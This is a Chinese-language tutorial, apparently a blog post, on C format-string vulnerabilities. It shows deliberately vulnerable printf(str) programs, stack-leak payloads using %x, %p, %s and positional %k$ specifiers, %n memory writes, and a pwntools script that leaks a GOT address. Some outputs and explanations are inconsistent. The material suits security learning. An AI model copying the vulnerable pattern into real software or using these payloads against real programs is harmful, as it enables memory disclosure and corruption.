格式化字符串
学习C语言的时候都会用到格式化字符串的输入和输出,例如:
#include<stdio.h>
int main()
{
printf("My name is %s.\n","YMM");
return 0;
}
运行程序会得到
My name is YMM.
程序中的%s被后面的具体内容替换掉了,这就是格式化输出模式。
几种常见的说明符
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数
关于%n
这里前几个都是用来打印的,最后一个%n却是一个异类,这家伙的作用是写入到某个内存区域到现在为止写过的字符个数。注意要和%n和n区别开来。
这个的意思就是将第三个我们的填充物以%s的格式打印出来。
例如
int i;
printf("12345%n",&i);
%n前面有5个字符,所以i的值是5,输出的值是12345
产生漏洞的原理
printf函数存在几个特性,程序员很容易栽在这几个特性上面,导致这些特性能够轻松的被攻击者利用来对程序进行攻击
printf函数的参数不固定(任意内存读取)
先写一个正常的程序
#include <stdio.h>
int main()
{
int a=1,b=2,c=3;
char buf[]="Thriumph";
printf("%s %d %d %d",buf,a,b,c);
return 0;
}
编译运行得到
Thriumph 1 2 3
显然,这个结果是正确的,如果printf参数数量不匹配呢?
将程序改一下
#include <stdio.h>
int main()
{
int a=1,b=2,c=3;
char buf[]="Thriumph";
printf("%s %d %d %d %x",buf,a,b,c);
return 0;
}
上面的格式化字符串需要5个参数,但是后面只提供四个参显然这样的写法是错误的
能通过编译吗?
首先printf()是一个参数长度可变函数。因此,仅仅看参数数量是看不出问题的。为了查出比匹配,编译器需要了解printf函数的运行机制,然而编译器通常不做这一类的分析。有的时候,格式化字符串并不是一个常量字符串,他是运行期间用户产生,比如用户输入,所以编译器不能发现是不匹配!所以是可以正常编译的
printf函数能自身检测到不匹配吗?
printf函数从栈上取得参数,如果格式字符串需要3个参数,它会从栈上取3个,除非栈被标记了边界,printf并不知道自己是否会用完提供的所有参数。既然没有那样的边界标记。printf会持续从栈上抓取数据,在一个参数数量不匹配的例子中,它会抓取到一些不属于该函数调用到的数据。如果特意准备数据让printf抓取会发生什么呢?
改动后的代码编译运行的结果是
Thriuph 1 2 3 6763e359
6763e359是什么呢,画一张图
只要能够控制format,就能一直读取能存数据,这就实现了任意内存的读取。
例子
读入一个字符串并输出
正确的写法:
#include<stdio.h>
int main()
{
char str[100];
scanf("%s",str);
printf("%s",str);
return 0;
}
有的时候可能偷一下懒,这样写。这看起来是没有什么问题,程序也正常的打印出了字符串,但是由于编程者的疏忽,把格式化字符串的操纵权交给用户,就会产生后面任意地址读写的漏洞。
局部变量是储存在栈中的,所以一定可以找到输入的格式化字符串
#include<stdio.h>
int main()
{
char str[100];
scanf("%s",str);
printf(str);
return 0;
}
输入AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
输出为 AAAA 61fecc,77326c7f,870c8c,61fecc,77336d15,7738431c, 41414141 ,252c7825,78252c78,2c78252c,252c7825
41414141就是这个字符串开始的位置。通过不断的取变量操作,最终我们就能读取到程序的每一个位置。
利用%n格式符(任意内存写入)
%n格式符的使用也是printf的漏洞产生原因之一,通过这个格式符可以通过printf实现访问栈内数据,甚至修改内存地址
#include <stdio.h>
int main()
{
int a=123123123;
printf("a = %d\n", a); //a的值
printf("%d%n\n", a, &a); //运用%n向内存中写入值
printf("a = %d\n", a); //a的值
}
输出结果为
a = 123123123
123123123
a = 9
可以用构造的格式化字符串去访问栈内的数据,并且可以利用%n向内存中写入值。但是%n的作用只是将前面打印的字符串长度写入到内存中,而我们想要写入的是一个地址,而且这个地址是很大的。这时候我们就需要用到printf()函数的第三个特性来配合完成地址的写入
自定义打印字符串宽度
printf的格式符还可以限定字符串的宽度,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。
#include <stdio.h>
int main()
{
int a=123123123;
printf("a = %d\n", a);
printf("%.100d%n\n", a, &a);
printf("a = %d\n", a);
}
输出结果是
a = 123123123
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012312123
100
可以发现a值被改为了100。(有的编译器可能会自动禁止使用修改a的值,所以记得关掉内存保护机制)
比如说要把0x8048000这个地址写入内存,那么应该把把该地址对应的10进制134512640作为格式符控制宽度即可
#include <stdio.h>
int main()
{
int a=123123123;
printf("a = %d\n", a);
printf("%.134512640d%n\n", a, &a);
printf("a = %d\n", a);
}
格式化字符串漏洞的检测
产生的漏洞
1.任意内存位置的读取
2.任意内存位置的写入
产生漏洞的基本原因
1.使用格式化字符串没有指定对应的格式符
2.格式符的个数和参数的个数不匹配
3.使用了%n改变了已存在的变量的值
检测是否存在格式化字符串漏洞
1.看printf函数的格式符是否正确指定,参数个数是否匹配
2.是否使用了%n来改变变量的值
格式化字符串漏洞的利用
程序崩溃
可以输入很多的%s,这是使程序崩溃最简单的方式,对于每个%s,printf都要从栈中取一个数字,把这个数视为地址,打印出这个地址指向的内存内容,直到出现NULL字符。
泄露内存
泄露栈内存
leakmemory.c
#include <stdio.h>
int main()
{
char s[100];
int a=1,b=0x22222222,c=-1;
scanf("%s",s);
printf("%08x.%08x.%08x.%s\n",a,b,c,s);
/*%08x.%08x.%08x.%08x.%08x表示函数printf()从栈中取出5个参数并将它们以8位十六进制数的形式显示出来*/
printf(s);
return 0;
}
依此获取栈的内存
输入 %08x.%08x.%08输出为 00000001.22222222.ffffffff.%08x.%08x.%08x
ffbe26a0,000000c2,f7e176bb
用gdb调试,运行程序,在printf处下断点(b.printf),运行程序(r),之后就该输入了,输入 %08x.%08x.%08x 此时程序就断在printf处了。
栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为a的值(1),第四个变量为b的值(0x22222222),第五个变量为c的值(-1),第六个变量为我们输入的格式化字符串对应的地址。继续运行程序输出
继续往下运行
格式化字符串为%x%x%x,所以,程序会将栈上的 0xffffcfe8及其之后的数值分别作为第一,第二,第三个参数按照int型进行解析,分别输出。继续运行,得到结果去,确实和想象中的一样。
获取指定参数的值
想要获取指定的某个参数,可以使用 %n$x
这里的n表示栈中格式字符串后面的第n个值,也就是第n+1个参数
例如:获取第四个参数,还是在printf处下断点(b printf),运行(r),就到了要输入的地方了,输入%3$x,继续运行,得到f7e946bb就是第四个参数对应的值
获取栈变量对应地址的内容
攻击者可以使用一个”显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用%s显示参数指针所指定的地址的内存,将它作为一个ASCII字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么%s就会输出该位置的内存内容。
还是上面的程序,在prinf处下断点,输入%s之后继续运行
第二次执行printf函数的时候,将9xffffcfe4处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。但是不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。
总结
1.利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
2.利用 %s 来获取变量所对应地址的内容,只不过有零截断。
3.利用%n来获取指定参数对应地址的内容。
泄露任意地址内存
无论是泄露栈上连续的变量,还是泄露指定的变量值,都只能读取栈中已有的内容,怎样获取任意地址的内存呢???一般情况下,在格式化字符串漏洞中读取的格式化字符串都是在栈上的,所以在调用函数时,第一个参数的值就是格式化字符串的地址。如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第n个参数,就可以使用addr%n$s
如何确定是第几个参数???
可以使用[tag]%p,重复某个字符的机器字长来作为 tag,而后面会跟上若干个 %p 来输出栈上的内容,如果内容与我们前面的 tag 重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址。
将A作为tag,输入AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
由 0x41414141 处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第5个参数,但是是格式化字符串的第4个参数
测试一下,输入%4$s查看一下,程序崩溃。
由上图可知第五个参数的地址是 0xffffcff0,调试一下,输入%4$s,说明格式化字符串所对应的值没有办法作为一个合法的地址被解析
那就设置一个可以访问的地址试一下,先看一下重定向表。有三个函数可以选择printf、libc_start_main、isoc99_scanf。
那就用__isoc99_scanf(0ffset为0804a014即”\x14\xa0\x04\x08”)
python2 -c ‘print(“\x14\xa0\x04\x08”+”%4$s”)’ > text
gdb -q a.out
由图可知第四个参数确实指向我们的scanf的地址。通过x/w指令得到__isoc99_scanf函数的虚拟地址0xf7e600c0,由于0x804a014处的内容是仍然一个指针,所以打印不成功
还可以利用pwntools构造payload找到__isoc99_scanf函数的地址
#!/usr/bin/env python
from pwn import *
sh = process('./a.out')
a = ELF('./a.out')
__isoc99_scanf_got = a.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
覆盖内存
覆盖栈内存
#include<stdio.h>
int main()
{
int i;
char str[]="Thriumph";
printf("%s %n\n",str,&i);
printf("%d\n",i);
return 0;
}
输出:
Thriumph
9
i赋值为6,在遇到转换指示符之前输入了9个字符(Thriumph和一个空格),没有长度修饰符是默认为int。通常情况下,我们要需要覆写的值是一个shellcode的地址,而这个地址往往是一 个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数。
覆盖任意地址内存
覆盖小数字
aa%k$nxx
aa%k 就是第 6 个参数,$nxx 其实就是第 7 个参数,后面我们如果跟上我们要覆盖的地址,那就是第 8 个参数,所以如果我们这里设置 k 为 8,其实就可以覆盖了
覆盖大数字
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节












